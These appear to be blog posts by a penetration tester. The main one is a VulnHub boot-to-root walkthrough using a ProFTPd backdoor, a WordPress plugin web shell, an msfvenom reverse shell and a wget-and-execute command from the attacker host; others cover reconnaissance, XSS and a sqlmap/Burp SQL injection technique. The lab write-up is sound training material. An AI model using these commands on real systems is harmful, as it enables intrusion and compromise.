VulnHub Basic Pentesting: 1 Walkthrough

I found myself with some free time and wanted a simple challenge to pass the time.  I decided to take a look at new VMs posted to VulnHub to see if there was anything interesting.  I came across Basic Pentesting: 1, which is designed as a boot to root challenge specifically for newcomers to pen testing.  This seemed to pass the simple challenge requirement, so I decided to give it a try.

This VMs has several avenues that lead either directly or indirectly to rooting the box.  I'll walk through a few avenues below.

Enumeration
After booting the VM, I performed a ping sweep on my network to identify the VM IP and started an nmap to identify any open ports.

Enumerating open ports

Avenue #1 - ProFTPd
My interest was piqued immediately upon seeing FTP open on this host.  From previous experience, I already knew this version was vulnerable to a backdoor, but I decided to act like a newcomer and did a search for "proftpd 1.3.3c exploit."  This yielded many results indicating that this particular version of ProFTPd was indeed affected by a backdoor which allowed for shell access to the system.  A metasploit module was the first search result, so I decided to use that.

Gaining a shell was straight forward and was a simple matter of configuring the payload.  I selected the cmd/unix/reverse payload which resulted in a root shell.

Metasploit configuration

Root!

As you can see, this was a very quick, minimal effort to achieve root in a manner of minutes.  In real penetration tests, the goal is often to not simply compromise a host, but to establish a foothold, enumerate information, and attempt to move laterally.  Having a fully functional shell is always a bonus.  To this end, you can often invoke a fully-interactive shell with a simple python trick: python -c 'import pty; pty.spawn("/bin/bash")'

Upgrading to a fully-interactive shell

Avenue #2 - WordPress low-privilege shell
Knowing there were several avenues to achieve root on this box, I decided to see what avenues the web server on port 80 presented.  Initially, the web server didn't appear to offer much.  A search for known vulnerabilities in the version of Apache used on the server, 2.4.18, indicated there weren't any exploits which allowed for remote code execution.  Since there weren't any exploits for Apache, there had to be some software running on the web server which would ultimately yield a shell.

During penetration tests, enumeration of the target is critical.  As you enumerate more information about the target, you build a better understanding of how it works and how it may be attacked.  In instances where you've identified a web server that just has a default welcome page and doesn't immediately offer up any clues, tools such as nikto and dirb are a great first choice for identifying potential access vectors.  In this case, nikto quickly identified the presence of a /secret/ directory.  This is the droid I was looking for!

Enumeration of secret directory with nikto

Upon visiting /secret/, I was presented with a WordPress site - My Secret Blog.  The WordPress login console can typically be accessed by visiting <site>/wp-login/index.php.

Note: You may encounter issues with content not loading due to the fact that the VM is configured to rewrite IPs to hostnames in URLs.  The easiest way to deal with this is to set up a hosts file entry to point your target VMs IP to vtcsec.

Upon visiting the WordPress login page, I tried the default username and password of admin / admin.  If you're new to pen testing, this is sadly not an unrealistic example.  I have encountered far too many services in production using these exact credentials.

WordPress login page

WordPress admin console

There are a number of ways to achieve a shell once gaining administrative access to a WordPress installation.  The method used will depend on target configuration and personal preferences.  One common technique is to modify a template and replace the template code with your shell code.  Personally, I don't favor this approach as modification of the template can expose your presence if the site is actively used.  Users (and admins!) are likely to notice if all of a sudden their template is modified and the site is no longer displaying correctly.  Instead, I prefer to use a plugin to install a shell.

A quick and lightweight shell can be downloaded from GitHub: https://github.com/leonjza/wordpress-shell.  Note:  I tried to use shell.zip from the GitHub repository, but it didn't decompress properly.  You'll probably need to create a new zip file: zip -r shell.zip shell.php.

To install a new plugin, use Plugins > Add New menu and use the Upload Plugin button to upload your zipped shell.  Activate the new plugin and you're ready to execute commands on the system on the web server as the web server user.  The plugin documentation indicates that your new shell can be accessed by navigating to /wp-content/plugins/shell/shell.php.  For this VM, that means you can access your shell by navigating to http://ip/secret/wp-content/plugins/shell/shell.php.  If for some reason your shell isn't accessible, you can confirm the path to your plugin by using the Plugins > Editor menu to confirm the directory name for your shell.

Executing 'id' using the shell

As you can see above, Apache is running as the www-data user.  If we want to get root, we're going to need to do a little more work.  There are a number of ways to do this.  My favorite method is to use netcat to either create a listening shell on the target (bind shell) or to send a shell back to a listener on my attacking machine (reverse shell).   In this case, the version of netcat installed doesn't support the -e options, meaning we can't use netcat to establish a bind shell.  The pentestmonkey reverse shell cheatsheet is a great resource to keep handy.  It gives you a lot of creative ways to establish a shell.  For this exercise, I chose to use a metasploit meterpreter reverse shell payload.

To use a meterpreter payload, I needed to take a few steps.  First, I needed to select a payload.  The VulnHub page tells us the OS used, but in the real world we don't have that luxury, so we need to determine what our target is running.  Using my command shell, I determined the system was a 64-bit Ubuntu Linux system by using uname -a.

Executing 'uname -a' using the shell

Second, I needed to create a payload to execute on the system.  To do this, I used msfvenom to create an ELF payload.  msfvenom -p linux/x86/meterpreter/reverse_tcp --platform linux -a x86 -f elf LHOST=172.16.127.176 LPORT=4444 -o metshell

Generating a payload with msfvenom

Third, I needed to set up metasploit to receive a shell from this payload.  This can be accomplished using exploit/multi/handler.  All that's needed is to set the LHOST and LPORT options to match what was specified when building the payload with msfvenom.

exploit/multi/handler configuration

Lastly, the payload needed to be transferred to the target.  If you have a web server on your attacking system, you can use that to serve up your payload and retrieve it using wget on the target.  If you don't have a web server configured, that's ok.  One of my favorite quick and dirty methods is to use the python SimpleHTTPServer to serve up content.  By default, the SimpleHTTPServer will establish a listener on port 8000 and serve up content from your current working directory.

Many times in real world pen tests, the web root is protected and the web server user will not have write access to the web root.  If you're able to establish a web shell, you'll need to find a directory where the web server user can write to in order to drop your payload.  Most commonly, this will be in the /tmp directory.  For this challenge, I changed to the /tmp directory, retrieved my payload and marked it as executable, and executed it.  You can issue these commands individually, or all at once, such as: http://172.16.127.174/secret/wp-content/plugins/shell-2/shell.php?cmd=cd%20/tmp;%20wget%20http://172.16.127.176:8000/metshell;%20chmod%20777%20metshell;%20/tmp/metshell

Low privilege meterpreter shell established!

At this point, we've established a shell, but it's only as the lowly www-data user.  We need to find an avenue that will allow us to escalate our privileges to root.

Avenue 2a - Privilege escalation through password attacks and sudo
After establishing a meterpreter shell as the www-data user, I began to look for ways to escalate my privileges to root.  A look through the /etc/passwd file revealed that the only local user on the box was the user marlinspike.  We already know marlinspike chose a weak password to protect their WordPress installation.  What are the chances that marlinspike also used a weak password for their local user account?

A simple google search will give you dozens of weak password lists that you can then use with automated attack tools like thc-hydra, ncrack, medusa, or patator.  Before I fired up an automated tool, I did a manual test using a few common weak passwords like password, admin, letmein, and the username as a password.  Unsurprisingly, marlinspike used their user name as their password.

Logged in as marlinspike

Sudo is a utility which allows users to execute commands with the security context of another user.  Savvy system administrators will use it to allow users to execute specific commands as either another user or a user with elevated privileges.  Unfortunately, system administrators also often grant themselves permission to execute all system commands as the root user.  Such was the case with this system.

root!

In retrospect, I could have just used the WP shell to identify all local users and attempt password guessing attacks without ever launching the meterpreter shell.

Is your data literally walking out the door?

Yesterday, I had the privilege of presenting at the 2015 ND Cyber Security conference, held at North Dakota State University. This conference brought together more than 200 K-12 and higher education technology specialists as well as others interested in information security from around the region.

I discussed the basics of physical security as seen from an attacker's perspective. I realize this presentation doesn't cover lock picking, but there are plenty of resources out there that talk about lock picking.

The presentation is available on SlideShare: Is Your Data Literally Walking Out the Door

As always, feedback is welcome and appreciated!

Automating Simple Website Reconnaissance Measures a.k.a An Ounce of Prevention

As a pen tester as part of an internal security team, I'm responsible for periodically sweeping our networks to identify web servers and determine if there are risks presented by those websites such as information disclosures, default credentials, or insufficient access and authorization measures.  (aside: yes, change control would make sure this never happened again.  In a world filled with unicorns farting rainbows.) On anything other than a small network, this can quickly become a time-consuming task. It didn't take long to decide to automate as much of this process as possible.

Since our vulnerability scanners are regularly touching all parts of our network, they are a good choice as a source for a list of hostnames, IPs, and ports for any service speaking HTTP or HTTPS. After massaging the data in Excel I have a list of URLs to test using either the FQDN or IP and the port number.

Once I have this list, typically several thousand different URLs to test, I need to quickly eliminate the systems I don't need or want to inspect.  To do this, I wrote a simple python utility which uses urllib2 to pull in the page associated with each URL and analyze it through a simple string.find() loop.  I built a dictionary of common sites that I know I won't need to inspect, such as

• Sites with the corporate authentication mechanisms presented
• Default Apache / IIS web pages
• Default Tomcat or JBoss install
• KVMs and SAN switch interfaces
• etc.

When the utility finds a URL matches something in the dictionary, it records this in the output file.This resulting report contains far fewer sites needing inspection than the original list.

The biggest return isn't in time saved, however. The real value comes when the utility isn't able to classify the site. These sites often contain information that should have been secured, or authentication mechanisms using weak/default credentials.  I can easily filter the output into additional tasks, such as testing for default Tomcat or JBoss credentials, etc.

In the past, I would take these unclassified results and dump them into a spreadsheet and then review them individually. Any site that would attempt to perform a Javascript redirect or refresh to a different landing page when '/' was requested would fool my utility as urllib2 is unable to follow the redirect. This lead to manually reviewing a lot of sites that would otherwise be easily identified if my utility could see the landing page.

A while back I experimented with being able to take a screenshot of each site to quickly eliminate these sites visually. Unfortunately, at the time, every utility I investigated was also stumped by the redirect. AJAX-heavy sites also fooled my utility as well as the other utilities I tested.

This summer Netflix released a tool they wrote - Sketchy - which they use to assist in their IR processes. Sketchy addresses the same issues I was experiencing with Javascript and AJAX sites. After reading about Sketchy, I knew that I wanted to try applying this to my processes to see if I could get better results and be more efficient.

Feeling inspired by all the incredible talks presented at DerbyCon,I decided it was time to start putting Sketchy to work. I blogged earlier about my experience setting up Sketchy, you can read about it here.

While Sketchy does have an API, a quick and dirty shell script worked for my needs.  The script supports grabbing a screenshot (sketch), grabbing the DOM as text (scrape), or grabbing the rendered HTML (html). For sites sketchy is unable to connect to, my script makes a log entry and does not produce an artifact.I can quickly view these resulting images and determine if the site is something that warrants further inspection.

Examples

Linksys router login page

Twitter login page

Conclusion

Reviewing websites is essential to identifying information disclosures, weak authentication mechanisms, and new web apps or devices that may have been deployed without your knowledge. Regularly reviewing these websites for this information prevents audit findings and helps keep your network and data safe from unauthorized access.

Sketchy was easy to install, and it didn't take long to whip up a functioning system.  With a few hours of setup, scripting, and testing, I'm able to automate what used to be several hours of work. In the end, I'm free to get more done, and much more of the proverbial low-hanging fruit is picked.

If you're using different tools to achieve the same end, I've love to hear about it. Leave me a comment or reach out to me on Twitter.

-Mike

Beyond the alert box

Today I came across an excellent slide deck on getting a shell through XSS by Hans-Michael Varbaek. Varbaek's presentation steps through the execution process from finding an XSS vulnerability, bypassing CSRF defenses, and ultimately uploading a php shell to a web server. After reading this deck, I started thinking about the previous "pen test" reports from external testers I've reviewed over the past several years. Many of these reports included XSS vulnerabilities. Invariably, what was presented for proof of the vulnerability was a screenshot showing <script>alert(1)</script> being provided to some input parameter and a popup box, or a close semblance of that. Of those reports, only one included a CSRF vulnerability even though our internal analysis showed that other CSRF vulnerabilities existed.

To be fair, this is not just a symptom of bad reporting by external testers or bad reports. Anybody who has performed pen testing and subsequently provided a report to a customer has experienced the response "What's the risk? How can this be exploited?" 

As somebody who performs web app pen tests and writes reports, I've been guilty of providing the same example in the past. When discussing the XSS finding with a developers, they often didn't grasp the potential impact of XSS. Even if a CSRF wasn't possible, apparent defacing of a page through a reflected XSS certainly was. When I stopped providing a screenshot of an alert box and started providing a screenshot or POC URL for a page defacement, I immediately received a different reaction from both developers and their management. They could see the impact. Sometimes, of course, time limitations prevent me from developing a robust proof of concept. Whenever I can, I provide these kinds of examples in my reports. 

It would seem that we as pen testers too often stop at the XSS. Varbaek's presentation should serve as rallying call to consumers of pen tests to demand better reports from pen testers. Those of us writing reports should accept the challenge to go beyond the alert box. Vivek Ramachandran of PentesterAcademy deserves a big nod for developing the Javascript for Pentesters course, which provides some great examples of how to go beyond the alert box with XSS.

Combining sqlmap and Burp for the win

We recently had a vulnerability assessment performed by a vendor who reported a possible SQL injection in a web application. I reviewed their results and agreed SQLi was likely due to the application returning a SQL error message under certain conditions.

Through manual testing, I was able to confirm the application was vulnerable to SQLi. When I attempted to use sqlmap to automate enumeration and dumping of the database, however, sqlmap would initially report the parameter was likely vulnerable, but then later report SQLi was not possible. I tried setting the --level and --risk parameters to various settings as well as manually specifying the database type – Microsoft SQL in this case.

While reviewing these results I realized the reason sqlmap was unable to successfully identify and exploit the SQLi was due to how the vulnerable parameter was constructed and how sqlmap operates. The application took several parameters, all enclosed in brackets, a la:

     url.asp?x=[value]&y=[value].

Sqlmap operates by appending SQLi code to the end of the parameter or replacing the parameter entirely. For example, sqlmap may send the following string to determine if parameter x was vulnerable to a time-based blind SQLi:

     url.asp?x=[value' WAITFOR DELAY '0:0:5'--&y=[value].

Manual testing had shown that a single quote appended to the parameter value within the brackets would result in a SQL error message. No matter what I tried, however, sqlmap was unable to successfully exploit the SQLi and extract the database. As I mentioned earlier, the application took several parameters enclosed in brackets. In reviewing my logs, I found that sqlmap wasn’t terminating the parameter with a bracket, as shown above. This resulted in the application throwing an error because the parameter wasn’t in the right format, thus the request never made it to the SQL server, and this is why sqlmap wasn’t able to exploit the SQLi.

I spent some time researching how to append a ] to sqlmap’s queries, but I couldn’t find any solution. Back to the drawing board. I’ve used the Match and Replace functionality in Burp’s proxy to manipulate cookie values to my needs in the past. What if this same functionality could be used to insert a ] at the end of sqlmap’s attack string?

Since I knew the URL for this particular part of the application always took the same parameters in the same order, this would be easy to accomplish. Using the Match and Replace function, I created a new rule using the Request header type. Since I was testing the x parameter, I needed to append the ] to sqlmap’s input  before y parameter. To do this, I matched on &y= and set the replace to ]&y=. 

A test request from the browser through Burp showed the rule was now inserting the ] before the y parameter, allowing sqlmap to work correctly.

The original request:

The modified request:

  

I fired up sqlmap one more time. This time, sqlmap was able to properly detect and exploit the SQLi and extract the database banner and records.

back-end DBMS operating system: Windows 2003 Service Pack 2

back-end DBMS: Microsoft SQL Server 2005

banner:

---

Microsoft SQL Server 2005 - 9.00.5057.00 (Intel X86)

        Mar 25 2011 13:50:04

        Copyright (c) 1988-2005 Microsoft Corporation

        Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

---

This was the solution I found to my problem, although I’m sure there are other ways it could have been solved. If you know of a way to accomplish this using only sqlmap, I’d love to hear about it.

--------------------------------------------------
UPDATE

 Bernardo Damele (@inquisb) pointed out that --suffix would have accomplished the same effect. After reviewing, I agree.  Protip: --suffix doesn't show up when using -h to see the options, you need to use -hh to see all options.